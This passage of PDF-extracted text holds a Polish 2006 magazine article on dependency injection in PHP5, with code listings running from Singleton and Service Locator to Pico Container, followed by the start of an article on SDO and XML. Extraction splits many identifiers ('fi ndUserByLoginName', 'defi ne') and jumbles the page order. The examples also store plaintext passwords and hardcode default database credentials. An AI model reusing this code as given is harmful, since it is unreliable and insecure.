$rows[0]['fi rstname'],
$rows[0]['lastname']);
return $returnUser;
} else {
return null;
}
}
public function save(User $u) {
$stmt = $this->_pdoDB->prepare("INSERT INTO users
( login, upassword, fi rstname, lastname )
VALUES
( :login, :upassword, :fi rstname, :lastname )");
$stmt->execute(array (":login" => $u->getLogin(),
":upassword" => $u->getPassword(),
":fi rstname" => $u->getFirstName(),
":lastname" => $u->getLastName()));
}
}
Listing 3. Test jednostkowy zależny od infrastruktury
<?php
// w testach korzystamy z SimpleTest
// http://www.lastcraft.com/simple_test.php
defi ne('SIMPLETEST_PATH', 'D:/phplibs/simpletest_1.0.1alpha2');
require_once (SIMPLETEST_PATH.'/unit_tester.php');
require_once (SIMPLETEST_PATH.'/reporter.php');
require_once ('listing1.php');
class TestWithDB extends UnitTestCase {
public function setUp() {
//przygotowanie infrastruktury
//wyczyszczenie DB
//potrzebujemy do tego oddzielnej instancji DB
//poniewaz nie chcemy zamazac prawdziwych danych
$pdoDao = new UserDAOPDOImpl();
$pdo = $pdoDao->getConnection();
$pdo->query("DELETE FROM users");
}
public function testSavingIfNotExists() {
$user = $this->prepareTestUser();
$us = new UserServiceImpl1();
//właściwy test
$us->addUser($user);
//kolejna interakcja z infrastruktura
//sprawdzenie, czy rekord zapisał się w DB
$pdoDao = new UserDAOPDOImpl();
$userFromDB = $pdoDao->fi ndUserByLoginName($user-
>getLogin());
}
public function testThrowsExceptionIfExists() {
$user = $this->prepareTestUser();
$us = new UserServiceImpl1();
//przygotowanie infrastruktury
//dodanie rekordu do DB
$pdoDao = new UserDAOPDOImpl();
$userFromDB = $pdoDao->save($user);
//właściwy test
try {
$us->addUser($user);
$this->fail();
} catch (UserExistsException $e) {
$this->assertEqual($e->getExistingLoginName(),
$user->getLogin());
}
}
private function prepareTestUser() {
return new User('jkowalski', 'jkowalski', 'Jan',
'Kowalski');
}
}
$test = new TestWithDB();
$test->run(new HtmlReporter());
?>
OOP, Dependency Injection
www.phpsolmag.org 27
Techniki
PHP Solutions Nr 2/2006
nej metody zapamiętywania danych użyt-
kowników. Jedyną metodą zmiany powią-
zania z UserDAO jest modyfi kacja istnie-
jącego kodu. Niestety, nasze możliwości
pisania testów jednostkowych są również
mocno ograniczone. Możemy tworzyć
je tylko na poziomie klasy UserService,
co oznacza, że w czasie testów musimy
dysponować całą, skonfi gurowaną in-
frastrukturą (baza danych i odpowiednie
dane testowe). Oczywiście takie testy są
trudne do przygotowania, ich wyniki mo-
gą zmieniać się w zależności od jakości
danych testowych, a samo uruchamianie
zestawu testów jest czasochłonne. Listing
3 pokazuje szkielet takiego niezbyt zgrab-
nego testu.
Kolejny problem dotyczy ilości tworzo-
nych obiektów. W całej aplikacji wystarczy
jeden obiekt połączenia z DB i jeden
obiekt klasy UserDAO. W PHP, gdzie całe
środowisko wykonania jest tworzone od
nowa przy każdym zapytaniu WWW, nie
możemy pozwolić sobie na bezcelowe
tworzenie wielu obiektów. Będą on zajmo-
wały tylko cenną pamięć i czas procesora,
nie dając nic w zamian.
Singleton
Wspomniana przed chwilą potrzeba
tworzenia tylko jednej instancji obiek-
tu natychmiast przywodzi na myśl
wzorzec projektowy Singleton. Jest to
jeden z najłatwiejszych do zrozumienia
i zaprogramowania wzorców, podpowia-
dający w jaki sposób tworzyć obiekty
tak, by w całym programie znalazła się
tylko jedna instancja obiektu dla danej
klasy. Spójrzmy na Listing 4, gdzie przy
ustalaniu powiązań pomiędzy obiektami
używamy właśnie Singletona. Trzeba
przyznać, że rozwiązaliśmy jeden z pro-
blemów – w całej aplikacji mamy tylko
jedną kopię połączenia z DB i UserDAO.
Nie tracimy już zbędnych zasobów.
Niestety, nasze możliwości podmiany
strategi przechowywania danych użyt-
kowników nie poprawiły się ani trochę.
W dalszym ciągu, by zmienić klasę za-
pewniającą współpracę z DB, musimy
modyfi kować oryginalny kod. Pisanie
testów jednostkowych jest równie uciąż-
liwe jak w przypadku używania operatora
new. Na podstawie dwóch przedstawio-
nych sytuacji widać, że potrzebujemy
bardziej elastycznego sposobu wiąza-
nia obiektów. Na tyle elastycznego, by
możliwa była względnie łatwa podmiana
współpracujących ze sobą obiektów.
Listing 4. Wykorzystanie wzorca projektowego singleton
class UserServiceImpl2 implements UserService {
public function addUser(User $u){
$userDao = UserDAOPDOSingletonImpl::getInstance();
$existingUser = $userDao->fi ndUserByLoginName($u->getLogin());
if ($existingUser == null){
$userDao->save($u);
} else {
throw new UserExistsException($u->getLogin());
}
}
public function fi ndUserByLoginName($login){
$userDao = UserDAOPDOSingletonImpl::getInstance();
return $userDao->fi ndUserByLoginName($login);
}
}
class UserDAOPDOSingletonImpl {
private static $_instance = null;
private $_pdoDB = null;
private function __construct() {
if (is_null($this->_pdoDB)){
$this->_pdoDB = new PDO(
"pgsql:dbname=ditest;host=localhost",
"postgres",
"postgres"
);
}
}
public static function getInstance(){
if (is_null(UserDAOPDOSingletonImpl::$_instance)){
UserDAOPDOSingletonImpl::$_instance = new UserDAOPDOSingletonImpl();
}
return UserDAOPDOSingletonImpl::$_instance;
}
//pozostala część kodu dla UserDAO pozostaje bez zmian
Listing 5. Wiązanie obiektów przez zmienne globalne
$userDao = UserDAOPDOSingletonImpl :: getInstance();
class UserService3 implements UserService {
public function addUser(User $u) {
global $userDao;
$existingUser = $userDao->fi ndUserByLoginName($u->getLogin());
if ($existingUser == null) {
$userDao->save($u);
} else {
throw new UserExistsException($u->getLogin());
}
}
public function fi ndUserByLoginName($login) {
global $userDao;
return $userDao->fi ndUserByLoginName($login);
}
}
OOP, wzorce projektowe
www.phpsolmag.org28
Techniki
PHP Solutions Nr 2/2006
Listing 6. Testy jednostkowe dla klasy wykorzystującej zmienne globalne
function prepareTestUser() {
return new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski');
}
class MockUserDAOWithoutUser implements UserDAO {
private $_savedUser;
public function fi ndUserByLoginName($login) {
return null;
}
public function save(User $u) {
$this->_savedUser = $u;
}
public function getSavedLogin() {
return $this->_savedUser->getLogin();
}
}
class MockUserDAOWithUser implements UserDAO {
public function fi ndUserByLoginName($login) {
return prepareTestUser();
}
public function save(User $u) {
}
}
class TestWithMocksAndGlobalVar extends UnitTestCase {
public function testSavingIfNotExists() {
global $userDao;
//podmiana globalnego DAO "oszukaną" wersją
$oldUserDao = $userDao;
$userDao = new MockUserDAOWithoutUser();
$user = prepareTestUser();
$us = new UserService3();
$us->addUser($user);
$this->assertEqual($userDao->getSavedLogin(), $user->getLogin());
$userDao = $oldUserDao;
}
public function testThrowsExceptionIfExists() {
global $userDao;
//podmiana globalnego DAO "oszukana" wersją
$oldUserDao = $userDao;
$userDao = new MockUserDAOWithUser();
$user = prepareTestUser();
$us = new UserService3();
try {
$us->addUser($user);
$this->fail();
} catch (Exception $e) {
$this->assertEqual($e->getExistingLoginName(), $user->getLogin());
}
$userDao = $oldUserDao;
}
}
$test = new TestWithMocksAndGlobalVar();
$test->run(new HtmlReporter());
Global variables
O przykrych skutkach wynikających z uży-
wania zmiennych globalnych napisano już
całe tomy: powstały kod jest nieczytelny,
zależności pomiędzy obiektami są trudne
do zlokalizowania, zacierają się granice
poszczególnych warstw w architekturze.
Co gorsza, bardzo łatwo popełnić trudne
do odnalezienia błędy, przypadkowo nad-
pisując jedną ze zmiennych globalnych.
Niestety, nawet świadomość wszystkich
wymienionych wad czasami nie powstrzy-
muje nas przed zastosowaniem rozwiąza-
nia jak na Listingu 5. Trzeba przyznać, że
stare “dobre” zmienne globalne okazały się
pomocne. Pisanie testów jednostkowych
nagle stało się łatwiejsze i możliwe nawet
bez połączenia z bazą danych (Listing 6).
Zmieniając wartość jednego, globalnego
ustawienia, możemy przestawić aplikację
na zupełnie nowy sposób przechowywania
danych użytkowników.
Zaraz, zaraz, a co z różnymi połącze-
niami do bazy danych? Co zrobić w sytu-
acji, gdy chcemy zapisać dane osobowe
w zupełnie innej składnicy, zupełnie od-
dzielnej bazie danych? Jesteśmy w trudnej
sytuacji – połączenie z DB jest zdefi niowa-
ne w zmiennej globalnej.
Powrócił też, wydawałoby się już roz-
wiązany, problem tworzenia zbyt wielu in-
stancji obiektów. Konstruowanie wszystkich
DAO na początku każdego skryptu (nawet
tych, które nie zostaną użyte w danym
przetwarzaniu) jest niepotrzebnym marno-
waniem cennych zasobów.
Aby całkowicie zdyskredytować roz-
wiązanie oparte na zmiennych globalnych,
dodajmy tylko, że ich użycie skutecznie
niszczy całą architekturę i podział aplikacji
na warstwy. Ponieważ wszystkie części
aplikacji mają dostęp do DBConnection,
może zdarzyć się, że pobieranie danych
odbywa się w wielu niekontrolowanych
miejscach – nawet w warstwie widoku.
Podejście takie w krótkim czasie powoduje
zmianę solidnej architektury w nieprzenik-
nioną sieć powiązań.
Jakkolwiek zmienne globalne są nie do
przyjęcia, podpowiadają nam one właściwy
sposób rozwiązania problemu: w metodzie
addUser musimy mieć referencję do obiektu
UserDAO. Jak ją uzyskać bez uciekania się
do Singletonów i operatora new?
Inner factory
Spróbujmy zastosować prostą sztuczkę
pokazaną na Listingu 7. W ten sposób
zachowujemy zalety Singletona (jedna
OOP, Dependency Injection
www.phpsolmag.org 29
Techniki
PHP Solutions Nr 2/2006
kopia obiektu tworzona w momencie, kiedy
jest potrzebna) i jednocześnie otwieramy
sobie drogę do łatwego pisania testów
jednostkowych (Listing 8). Wprawdzie nie
umożliwiliśmy podmiany klasy UserDAO, ale
przedstawiony trick wskazuje nam drogę
poszukiwań jeszcze lepszego rozwiązania.
Static factory, factory function
Przenieśmy tworzenie obiektów DAO
do osobnej klasy, DAOFactory (Listing 9).
Pojawia się tu kolejny wzorzec projektowy
– fabryka (ang. Factory). Przez jej dodanie
tworzymy dodatkową warstwę abstrakcji,
odpowiedzialną za dostarczenie konkret-
nej implementacji klasy. Podejście takie
rozwiązuje wszystkie napotkane do tej
pory problemy: obiekty tworzone są na żą-
danie, możemy podmieniać poszczególne
implementacje i testować nasz kod. W tym
schemacie postępowania nie ma znacze-
nia, w jaki sposób uzyskujemy dostęp do
obiektów typu fabryka – poprzez Single-
ton czy przez zamknięcie logiki fabryki
w oddzielnej metodzie. W tym ostatnim
przypadku jednak puryści obiektowi mogą
czuć się nieco urażeni.
Wydaje się, że znaleźliśmy idealne
rozwiązanie, możecie więc zastanawiać
się, dlaczego jesteśmy dopiero w połowie
artykułu? Okazuje się, że nawet to, co
osiągnęliśmy, uda się jeszcze ulepszyć.
Poradziliśmy sobie bowiem z najbardziej
palącymi problemami, ale nie zrobiliśmy
tego w sposób najbardziej efektywny. Kod
dla fabryk DAO będzie bardzo podobny.
Co gorsza, takie powielanie kodu czeka
nas w przypadku każdego nowego rodza-
ju fabryki. A gdyby tak zbudować jedną,
globalną fabrykę obiektów?
Registry, ServiceLocator
Rozwiązanie, które za chwilę zobaczymy,
określa się mianem rejestru lub dostawcy
serwisów (ang. Registry lub Service Loca-
tor). Zasada wykorzystania jest bardzo po-
dobna, jak w przypadku fabryk – z tą tylko
różnicą, że teraz możemy poprosić o obiekt
dowolnego typu (Listing 10). Zlikwidowa-
liśmy powtórzenia kodu w fabrykach, ale
kosztem znacznego skomplikowania konfi -
guracji. To jest największą wadą przedsta-
wionego rozwiązania.
Jeśli do całego obrazu włączymy testy
jednostkowe, to okaże się, że musimy
zarządzać dwoma zestawami konfi gura-
cji. W rozbudowanej aplikacji staje się to
zauważalnym problemem. Z architekto-
nicznego punktu widzenia powinien nas
Listing 7. Wykorzystanie inner factory
class UserService4 implements UserService {
public function addUser(User $u) {
$existingUser = $this->getUserDao()->fi ndUserByLoginName($u->getLogin());
if ($existingUser == null) {
$this->getUserDao()->save($u);
} else {
throw new UserExistsException($u->getLogin());
}
}
public function fi ndUserByLoginName($login) {
$userDao = $this->getUserDao();
return $userDao->fi ndUserByLoginName($login);
}
protected function getUserDao() {
return UserDAOPDOSingletonImpl :: getInstance();
}
}
Listing 8. Testy jednostkowe z inner factory
class UserServiceWithMockUserDAOWithoutUser extends UserService4 {
private $_userDao = null;
protected function getUserDao() {
if (is_null($this->_userDao)) {
$this->_userDao = new MockUserDAOWithoutUser();
}
return $this->_userDao;
}
public function getSavedLogin() {
return $this->getUserDao()->getSavedLogin();
}
}
class UserServiceWithMockUserDAOWithUser extends UserService4 {
protected function getUserDao() {
return new MockUserDAOWithUser();
}
}
class TestWithInnerFactory extends UnitTestCase {
public function testSavingIfNotExists() {
$user = prepareTestUser();
$us = new UserServiceWithMockUserDAOWithoutUser();
$us->addUser($user);
$this->assertEqual($us->getSavedLogin(), $user->getLogin());
}
public function testThrowsExceptionIfExists() {
$user = prepareTestUser();
$us = new UserServiceWithMockUserDAOWithUser();
try {
$us->addUser($user);
$this->fail();
} catch (Exception $e) {
$this->assertEqual($e->getExistingLoginName(), $user->getLogin());
}
}
}
OOP, wzorce projektowe
www.phpsolmag.org30
Techniki
PHP Solutions Nr 2/2006
zaniepokoić jeszcze jeden fakt: bardzo du-
żo obiektów zależy od jednego, centralne-
go rejestru. Większość obiektów musi być
świadoma obecności rejestru w systemie.
Praktycznie w każdym przypadku testo-
wym należy przygotowywać środowisko,
podstawiając w rejestrze spreparowane
obiekty. Jest to oczywiście o wiele łatwiej-
sze, niż rzeczywiste konfi gurowanie bazy
danych i innych elementów infrastruktury,
ale w dalszym ciągu dość uciążliwe.
Nie dzwoń do nas,my odezwiemy siędo CiebieStwierdzenie, które pojawia się w tytule
tej części artykułu, zwykle przyprawia nas
o gęsią skórkę, jeśli akurat poszukujemy
pracy. To, co w świecie rzeczywistym jest
nieprzyjemnym doświadczeniem, w zo-
rientowanej obiektowo aplikacji może być
dobrodziejstwem. Spróbujmy się przez
chwilę zastanowić, co by się stało, gdy-
by dany obiekt nie musiał samodzielnie
wyszukiwać innych, potrzebnych mu do
współpracy obiektów? We wszystkich
wcześniej przedstawionych sytuacjach
UserService był odpowiedzialny za odna-
lezienie odpowiedniej instancji UserDAO.
A gdyby tak odwrócić role? Gdyby UserDAO
w jakiś sposób trafi ał do UserService?
Setter
Idąc tropem nowego sposobu myślenia,
możemy zmienić UserService tak, jak na
Listingu 11. Teraz współpracujące obiekty
pojawiają się samoistnie, bez jakiego-
kolwiek wysiłku ze strony UserService.
Testowanie tak skonstruowanych obiektów
jest dziecinnie proste (Listing 12) i dopraw-
dy trudno wymagać tutaj czegoś więcej.
Nareszcie możliwe staje się prowadzenie
prawdziwych testów jednostkowych, w któ-
rych sprawdzany jest jeden obiekt, w zu-
pełnej izolacji od pozostałych składników
systemu. Nie musimy wykonywać skompli-
kowanych manipulacji z konfi guracją.
Konstruktor
Możemy trochę poprawić swoją sytu-
ację, przekazując zależne byty tylko raz,
podczas konstruowania obiektu. Nasze
metody nie muszą już zawierać długiej
listy parametrów związanych tylko i wy-
łącznie z infrastrukturą. Nie straciliśmy też
nabytych już zalet związanych z łatwością
testowania. Wykonany krok jest ruchem
w zdecydowanie dobrym kierunku. Nasza
niskopoziomowa architektura wygląda du-
Listing 9. DAOFactory
class UserServiceImpl5 implements UserService {
public function addUser(User $u){
$userDao = UserDAOFactory::getDAO();
$existingUser = $userDao->fi ndUserByLoginName($u->getLogin());
if ($existingUser == null){
$userDao->save($u);
} else {
throw new UserExistsException($u->getLogin());
}
}
}
class UserDAOFactory {
private static $_userDAO = null;
public static function registerDAO(UserDAO $userDAO){
UserDAOFactory::$_userDAO = $userDAO;
}
public static function getDAO(){
if (is_null(UserDAOFactory::$_userDAO)){
throw new Exception('Najpierw zarejestruj implementacje UserDAO!');
} else {
return UserDAOFactory::$_userDAO;
}
}
}
Listing 10. Service Locator
class UserServiceImpl6 implements UserService {
public function addUser(User $u){
$userDao = ServiceLocator::getObject("UserDAO");
$existingUser = $userDao->fi ndUserByLoginName($u->getLogin());
if ($existingUser == null){
$userDao->save($u);
} else {
throw new UserExistsException($u->getLogin());
}
}
}
class ServiceLocator {
private static $_objectsArray = array();
public static function registerObject($key, $objectImpl){
ServiceLocator::$_objectsArray[$key] = $objectImpl;
}
public static function getObject($key){
if (is_null(ServiceLocator::$_objectsArray[$key])){
throw new Exception("Najpierw zarejestruj obiekt '$key'");
} else {
return ServiceLocator::$_objectsArray[$key];
}
}
}
OOP, wzorce projektowe
www.phpsolmag.org32
Techniki
PHP Solutions Nr 2/2006
żo lepiej: jest bardzo elastyczna, wspoma-
ga pisanie testów jednostkowych. Łączenie
poszczególnych elementów w działający
program stało się dużo łatwiejsze. Potrzeb-
ne do współpracy obiekty nie są zapisane
na stałe, zbędna stała się skomplikowana
konfi guracja. Zmieniliśmy sposób myślenia
o zależnościach, odwracając role poszcze-
gólnych obiektów. To odwrócenie ról dało
początek nazwie wzorca projektowego,
którym określa się przedstawiony sposób
pisania programów: IoC (ang. Inversion
of Control). Wzorzec ten funkcjonuje pod
jeszcze jedną nazwą: wstrzykiwanie zależ-
ności (ang. Dependency Injection).
Dependency Injection
Badając różne możliwości łączenia ze
sobą obiektów, doszliśmy do prostego,
ale bardzo funkcjonalnego rozwiązania.
Taki sposób pisania programów staje się
coraz bardziej popularny i jest ku temu
bardzo dobry powód. Powstające w ten
sposób systemy mają bardzo przejrzystą
i elastyczna architekturę. Ich rozwijanie
i utrzymywanie jest znacznie prostsze niż
w przypadku gąszczu kodu, w którym nie
jesteśmy w stanie kontrolować powiązań
pomiędzy poszczególnymi składnikami.
Niestety, przy przedstawionym po-
dejściu ciężar pracy, od której uwolnił się
obiekt, spadnie teraz na programistę. To on
będzie musiał dodać parametry do wszyst-
kich metod, w których niezbędne jest połą-
czenie kilku obiektów we współpracującą
całość. Co gorsza, obiekty takie jak UserDAO
trzeba przekazywać przez wiele warstw
systemu, od początku skryptu, poprzez
kontrolery MVC. Ten sam problem dotyczy
połączenia z bazą danych. Sytuacja wyglą-
da więc tak, że zbudowaliśmy bardzo ele-
gancką architekturę, która jest nieprzyjazna
w użyciu. Pisząc aplikację według takiego
planu będziemy mieli wrażenie, że wyko-
nujemy dziesiątki niepotrzebnych operacji,
pracowicie dodając kolejne parametry do
konstruktorów.
Idealnie byłoby, gdyby istniał sposób
na automatyczne konfi gurowanie całych
grafów obiektów. W takim przypadku
programista nie musiałby przejmować się
pracowitym wiązaniem obiektów. Na szczę-
ście istnieją biblioteki, które znakomicie
ułatwiają pracę z programami tworzonymi
w duchu IoC.
Kontener IoC
Wyobraźmy sobie wielki worek, do którego
wrzucamy obiekty, nie martwiąc się o po-
Listing 11. Ustawianie zależności z zewnątrz
class UserServiceImpl7 implements UserService {
private $_userDao = null;
public function addUser(User $u) {
$existingUser = $this->_userDao->fi ndUserByLoginName($u->getLogin());
if ($existingUser == null) {
$this->_userDao->save($u);
} else {
throw new UserExistsException($u->getLogin());
}
}
public function fi ndUserByLoginName($login) {
return $this->_userDao->fi ndUserByLoginName($login);
}
public function setUserDao(UserDAO $userDao) {
$this->_userDao = $userDao;
}
}
class UserDAOPDOImpl implements UserDAO {
private $_pdoDB = null;
public function setConnection(PDO $pdoDB) {
return $this->_pdoDB = $pdoDB;
}
public function getConnection() {
return $this->_pdoDB;
}
public function fi ndUserByLoginName($login) {
$stmt = $this->_pdoDB->prepare("SELECT * FROM users WHERE login =
:login");
$stmt->bindParam(":login", $login);
$stmt->execute();
if ($stmt->rowCount() > 0) {
$rows = $stmt->fetchAll();
$returnUser = new User($rows[0]['login'], $rows[0]['upassword'],
$rows[0]['fi rstname'], $rows[0]['lastname']);
return $returnUser;
} else {
return null;
}
}
public function save(User $u) {
$stmt = $this->_pdoDB->prepare("
INSERT INTO users( login, upassword, fi rstname, lastname )
VALUES( :login, :upassword, :fi rstname, :lastname )");
$stmt->execute(array (":login" => $u->getLogin(), ":upassword" =>
$u->getPassword(), ":fi rstname" => $u->getFirstName(),
":lastname" =>$u->getLastName()));
}
}
$pdo = new PDO("pgsql:dbname=ditest;host=localhost", "postgres", "postgres");
$userDao = new UserDAOPDOImpl();
$userDao->setConnection($pdo);
$uservice = new UserServiceImpl7();
$uservice->setUserDao($userDao);
$user = new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski');
$uservice->addUser($user, $userDao);
OOP, Dependency Injection
www.phpsolmag.org 33
Techniki
PHP Solutions Nr 2/2006
wiązania między nimi. Wszystko dokład-
nie wymieszajmy i sięgamy do worka po
jeden z obiektów. To nie jest taki całkiem
zwykły worek, bo gdy wyjmujemy konkret-
ny obiekt, to ciągną się za nim wszystkie
niezbędne do pracy obiekty zależne. To
magiczny worek dba o powiązanie tak, że
w efekcie wyjmujemy cały, przygotowany
do działania graf obiektów. Jeśli odwołamy
się do rozważanego wcześniej przykładu,
to sięgnięcie po obiekt klasy UserService
spowoduje pobieranie UserDAO, a to z kolei
– połączenia z DB.
Niestety, mimo ogromnych możliwości
PHP5, zaprogramowanie magicznego
worka może być trudnym przedsięwzię-
szybko minie, jeśli przez chwilę przyjrzymy
się sygnaturom konstruktora UserService
i UserDAO. Przecież wszystkie informacje
o zależnościach zostały już wyrażone w ty-
pach parametrów. Pico potrafi skorzystać
z tych informacji i nie zanudza programi-
sty kolejnymi prośbami o dane, które już
posiada.
Kolejną miłą cechą Pico jest jego nie-
nachalna współpraca. Wykonuje dobrą
robotę konfi gurując poszczególne obiekty,
ale nie jest niezbędny do działania całej
aplikacji. Zmienił się tylko sposób kon-
fi guracji połączeń. Do całej architektury
wprowadziliśmy pomocną bibliotekę, a nie
ociężały framework dyktujący sposób pisa-
nia kodu.
Możliwości tej niewielkiej biblioteki są
naprawdę duże i oprócz konfi gurowania
obiektów potrafi ona również zapewnić
włączanie (instrukcja include lub require)
tylko tych defi nicji klas, które są potrzebne
podczas wykonania danego modułu. Sze-
rzej możliwości Pico Container opiszemy
wkrótce w drugiej części tego artykułu.
PodsumowanieWstrzykiwanie zależności zamiast ich
poszukiwania jest dobrym pomysłem archi-
tektonicznym. Prowadzi do bardzo jasnego
zaprezentowania zależności pomiędzy
poszczególnymi obiektami, co przekłada
się na lepiej skonstruowany, bardziej czy-
telny kod. Precyzyjne zaznaczenie granic
poszczególnych komponentów umożliwia
łatwe pisanie testów jednostkowych, które
mogą być uruchamiane bez konieczno-
ści przygotowywania całej infrastruktury.
Jedyną niedogodnością może być nieco
uciążliwy proces łączenia poszczególnych
obiektów w gotową aplikację. Na szczęście
i ten problem można łatwo rozwiązać sto-
sując kontenery IoC, chociażby wspomnia-
ny Pico Container. �
Listing 12. Testowanie klas pokazanych na Listingu 11
class TestWithMocksAndSetterInjection extends UnitTestCase {
public function testSavingIfNotExists() {
$user = prepareTestUser();
$us = new UserServiceImpl7();
$userDao = new MockUserDAOWithoutUser();
$us->setUserDao($userDao);
$us->addUser($user);
$this->assertEqual($userDao->getSavedLogin(), $user->getLogin());
}
public function testThrowsExceptionIfExists() {
$user = prepareTestUser();
$us = new UserServiceImpl7();
$userDao = new MockUserDAOWithUser();
$us->setUserDao($userDao);
try {
$us->addUser($user);
$this->fail();
} catch (Exception $e) {
$this->assertEqual($e->getExistingLoginName(), $user->getLogin());
}
}
}
Listing 13. Konfi gurowanie aplikacji przy pomocy Pico Container
<?php
//wlaczenie defi nicji Pico Container
defi ne('PICO_PATH','D:/www/container/src');
require_once(PICO_PATH.'/pico.inc.php');
//wlaczenie klas z implementacja
require_once('include.all.php');
require_once('listing12.php');
//konfi guracja
$pico = new DefaultPicoContainer();
$pico->registerComponentImplementation('UserServiceImpl8');
$pico->registerComponentImplementation('UserDAOPDOImpl');
$pico->registerComponent(new InstanceComponentAdapter(new PDO(
"pgsql:dbname=ditest;host=localhost",
"postgres",
"postgres"
)));
//uzycie w aplikacji
$userService = $pico->getComponentInstance('UserServiceImpl8');
$userService->addUser(new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski'));
?>
ciem. Zamiast tego będziemy musieli za-
dowolić się implementacją kontenera IoC,
który spełni identyczną rolę.
W świecie Java fi lozofi a IoC zadomo-
wiła się na dobre, zaś najpopularniejsze
kontenery to Spring Framework i Pico
Container. Dla tego ostatniego istnieje
wersja przygotowana specjalnie dla PHP5.
Spójrzmy na Listing 13, gdzie pokazany
jest sposób wykorzystania Pico.
Na pierwszy rzut oka zaskakujący mo-
że wydawać się fakt, iż w żadnym miejscu
nie specyfi kujemy połączeń pomiędzy
obiektami. Najzwyczajniej w świecie re-
jestrujemy kilka obiektów, a o pozostałe
rzeczy martwi się Pico. Nasze zaskoczenie
Paweł Kozłowski jest pracownikiem
SUPERMEDIA, gdzie od roku 2000
projektuje i tworzy złożone aplikacje
WWW w PHP. Obecnie zajmuje się roz-
wijaniem frameworków i bibliotek ORM
opartych na PHP5. Jest autorem portu
PicoContainer dla PHP5 i wielu publika-
cji poświęconych PHP.
Kontakt z autorem: pkozlowski@phpsol-
mag.org.
O autorze
www.phpsolmag.org34
Techniki
PHP Solutions Nr 2/2006
W poprzednim numerze PHP
Solutions omówiliśmy ogólnie
rozszerzenie SDO (ang. Servi-
ce Data Objects). Pokazaliśmy, jak je wy-
korzystać do obsługi prostej bazy danych
służącej do przechowywania newsów.
Przypomnijmy, że SDO jest elemen-
tem architektury stworzonej przez IBM
i BEA, mającej na celu ułatwienie, czy
wręcz ujednolicić dostęp do danych po-
chodzących z wielu różnych źródeł. Na-
rzędzie to zapewnia wspólny interfejs, za
pomocą którego programiści będą mogli
zarządzać danymi pochodzącymi z re-
lacyjnych baz danych, plików XML, Web
Services (webserwisów) i wielu innych
źródeł.
Na Rysunku 1 przedstawiamy schemat
architektury SDO. Jak widzimy, za dostęp
do źródeł danych odpowiadają obiekty
DAS (ang. Data Access Service). Ukrywają
one przed programistą szczegóły związa-
ne z komunikacją z odpowiednim źródłem
danych. Użycie tych obiektów sprawia, że
Wracamy do SDO: rozwiązania, które
zrewolucjonizuje i zunifi kuje sposób dostępu
do danych w PHP. Pokażemy, jak szalenie
użyteczne staje się SDO w świecie XML-a,
zdejmując z barków programisty ciężar
przenoszenia danych między systemem
bazodanowym a plikami XML.
nie musimy się przejmować sposobem
fi zycznego przechowywania danych.
Dane wchodzące i wychodzące
z obiektów DAS mają postać drzewa
obiektów SDO. Za stworzenie drzew od-
powiedzialne są klasy DAS, które dzięki
tzw. mappingom przetwarzają dane zapi-
sane w formacie właściwym dla danego
źródła na obiekty SDO. W przypadku bazy
danych mappingiem jest zestaw tablic aso-
cjacyjnych opisujących strukturę tabel i re-
lacje pomiędzy nimi. Natomiast dla plików
XML jest to plik XML Schema.
Service Data Objects, czyli uniwersalny standard dostępu do danych – część drugaPiotr Szarwas
W SIECI
1. http://www.ibm.com/
developerworks/webservices
– pełna specyfi kacja archi-
tektury SDO
2. http://www.w3schools.com/
schema/default.asp – tuto-
rial tworzenia plików XML
Schema
3. http://www.w3.org/TR/
xmlschema-1/ – ofi cjalna
specyfi kacja W3C dotycząca
XML Schema
Co należy wiedzieć...Potrzebna będzie podstawowa znajo-
mość obsługi baz danych w SDO, pro-
gramowania obiektowego oraz standardu
XML.
Co obiecujemy...Pokażemy, jak przy pomocy SDO eks-
portować dane z relacyjnej bazy danych
do plików XML.
Stopień trudności: ���
SDO
www.phpsolmag.org 35
Techniki
PHP Solutions Nr 2/2006
Obecna implementacja standardu
SDO w PHP nie jest jeszcze kompletna.
Jedynymi obsługiwanymi źródłami danych
są na razie bazy danych i pliki XML. Wy-
miana danych z bazami odbywa się z wy-
korzystywaniem rozszerzenia PDO i jest
obsługiwana przez napisaną w PHP klasę
SDO_DAS_Relational. Komunikacja z plika-
mi XML odbywa się natomiast przy użyciu
napisanej w C jako zend_extension klasy
SDO_DAS_XML oraz klasy pomocniczej,
którą jest libxml2.
W tym artykule zajmiemy się możliwo-
ściami SDO związanymi z obróbką plików
XML. Pokażemy, jak importować i ekspor-
tować dane pochodzące z przedstawionej
w poprzednim artykule o SDO bazy da-
nych, której schemat przedstawiamy na
Listingu 1. Na koniec zademonstrujemy
wykorzystanie SDO w celu pozyskiwania
zamieszczonych na zewnętrznych serwi-
sach newsów w formacie RSS.
Instalacjarozszerzenia SDOW poprzednim artykule o SDO opisaliśmy
dokładnie instalację tego rozszerzenia. Od
czasu napisania tamtego tekstu, pojawiła
się nowa wersja SDO opatrzona numerem
0.6, z której korzystamy tym razem. Nie
wnosi ona żadnych większych zmian, tak
więc kod, który będziemy omawiali, powi-
nien bez problemów współpracować ze
wszystkimi wcześniejszymi wersjami SDO.
Pamiętajmy, że rozszerzenie SDO będzie
działało wyłącznie z PHP 5.1 lub nowszym.
Klasa SDO_DAS_XML korzysta z bi-
blioteki libxml2, więc będziemy musieli
ją również zainstalować. Jej obecność
w instalacji PHP sprawdzimy wywołując
funkcję phpinfo().
Dodatkowo, aby rozszerzenie SDO
w ogóle działało, należy do pliku php.ini
dodać następujące linie: extension=sdo.so
i extension=sdo_das_xml.so (pod Li-
nuksem) lub extension=php_sdo.dll
i extension=php_sdo_das_xml.dll (pod
Windows).
Eksport danych z bazyDuża część aplikacji WWW, a w szególno-
ści systemy intranetowe i extranetowe wy-
mieniają dane z rozwiązaniami klasy ERP
czy CRM. Wymiana może następować
poprzez pliki (np. CSV czy XML), bezpo-
średni dostęp do bazy, Web Services oraz
przy użyciu innych metod. Najpopularniej-
Rysunek 1. Architektura SDO
Listing 1. Instrukcje SQL-owe tworzące bazę newsów dla MySQL-a
/****************************************
* tabela z grupami newsów
*
*****************************************/
create table news_groups (
ng_id int(11) not null auto_increment,
ng_name varchar(100) not null,
ng_description text,
primary key (ng_id)
);
/****************************************
* tabela z newsami, która zawiera relację do news_groups
*
*****************************************/
create table news_contents (
nc_id int(11) not null auto_increment,
ng_id int(11) not null,
nc_subject varchar(100) not null,
nc_lead text,
nc_content text not null,
primary key (nc_id)
);
Listing 2. Mappingi dla dwóch tabel: news_groups ($newsGroupsMap) oraz news_contents ($newsContentsMap)
<?php
$newsGroupsMap = array (
'name' => 'news_groups',
